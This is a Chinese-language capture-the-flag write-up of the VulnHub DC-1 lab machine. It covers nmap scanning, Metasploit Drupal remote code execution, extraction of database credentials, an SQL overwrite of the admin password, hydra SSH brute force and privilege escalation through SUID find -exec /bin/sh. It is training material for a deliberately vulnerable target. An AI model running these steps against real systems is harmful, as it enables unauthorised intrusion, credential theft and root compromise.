靶机入侵——DC1
1、环境搭建
下载地址:http://www.vulnhub.com/entry/dc-1,292/
下载后用 VMware 或者 VirtualBox 打开,并配置好网卡,靶机与攻击机应置于同一网络下,靶机默认是桥接模式,能用攻击机连接到就行。这里使用默认桥接到真实网络模式。
2、信息收集
-
主机发现
使用nmap进行主机探测(-sP参数也可):nmap -sn 192.168.3.1/24
192.168.3.27 为靶机ip,也可以使用Kali中的arp-scan工具扫描:arp-scan 192.168.3.1/24
-
端口扫描
使用nmap扫描主机服务、端口情况(-p-等价于-p 1-65535):nmap -p- -A 192.168.3.27
-
web端进一步信息收集
通过wappalyzer我们发现网站cms为Drupal,中间件为Apache2.2.22,php版本为5.4.45
3、漏洞探测与利用
已知网站cms为Drupal 7,百度一下是否存在历史漏洞。在Seebug 漏洞平台查了一下发现漏洞还挺多。而且是几年前的,可以考虑使用MSF,上面应该集成了相关漏洞利用脚本,如果没有就得手工利用了。
msfconsole启动msf,使用search Drupal 7.x,搜索一下看是否存在相应的攻击模块
使用攻击模块(可以直接use 序号):use exploit/unix/webapp/drupal_coder_exec
使用show info 查看模块信息,以及需要设置什么信息(也可以使用show options)
一般只用设置rhost,我这已经设置过了,使用:set rhost 192.168.3.27
这里payload使用默认的就行,设置好后,开始攻击(或者使用run):exploit
攻击后得到一个会话,shell命令后获得shell。可以执行命令:pwd 看下当前路径,ls一下看看有什么发现
得到当前路径,发现了第一个flag,查看一下,获得提示:config 文件
看了一下。web.config文件,是一个xml文件,并没有有价值的东西。
再次寻找配置相关文件:find . -name “set*”
发现一个配置文件,打开后发现数据库用户名和密码,还有flag2及提示:
暴力和字典攻击不是最常见的
只有获得访问权限的方法(您将需要访问权限)。
你能用这些证书做什么?
‘database’ => ‘drupaldb’,
‘username’ => ‘dbuser’,
‘password’ => ‘R0ck3t’,
有了用户名和密码,我们尝试登录一下。对了,因为我们通过msf获得的shell是利用http协议搭建的通道。登录mysql我们需要一个交互式的shell。
因为linux系统安装有python,我们可以利用python反弹shell:
python -c 'import pty;pty.spawn("/bin/bash")'
成功登录mysql,使用命令:mysql -u<用户名> -p<密码>
使用sql命令查找储存的用户信息
show databases; -- 查看所有数据库
use drupaldb; -- 使⽤drupaldb数据库
show tables; -- 查看drupaldb数据库的所有表
select * from users; -- 查看users表的数据
也可以使用select * from users\G,显示更友好
得到网站用户名和和密码密文,尝试解密失败。于是我们可以尝试修改原密码,通过find . -name “hash”搜寻文件,知道了Drupal的加密脚本在⽂件中,直接进入durpal安装目录。用新密码覆盖原密码:
php ./scripts/password-hash.sh admin #生成admin密文
update users set pass='$S$DgC/nqEK5DUN6WNcRCg3vljzWTIGbN0RepOv2bK7Bz61p/yGRMa9' where name='admin'; #修改admin密码为admin
返回网站登录:
登录后台,发现flag3。
得到提示,尝试查看/etc/passwd文件:cat /etc/passwd
发现flage4路径:cd /home/flag4
找flag4.txt打开,根据提示发现要想找到flag5需要root权限
4、权限提升
为了找到最后一个权限,必须进行提权。这里提权我们可以考虑爆破22端口或者内核提权(绝招,实在没办法在考虑),但在此之前我们可以尝试找找是否有一些拥有suid标识的命令,利用其提权。
先爆破一下,root账户没爆破成功,flag4成功了:
hydra -l flag4 -P /usr/share/john/password.lst ssh://192.168.3.27 -vV -f -t 4
ssh登录flag4,不登录利用先前反弹的shell提权也可:ssh flag4@192.168.3.27
找suid的标识符:
find / -perm -u=s -type f 2>/dev/null
其中:
find 指令
/ 根目录(查找位置)
-perm 权限
-u 用户(s=特权)
-type 类型
f 文件
2>/dev/nul 过滤错误信息(不显示错误信息)
也可以使用:find / -perm -400 2>/dev/null
发现了find指令也具有suid,利用find漏洞调用bash(root权限):
find ./ tiquan -exec '/bin/sh' \; #find寻找当前目录下tiquan文件(自己创建)并且-exec执行‘/bin/bash'命令
提权成功,拿到最后一个flag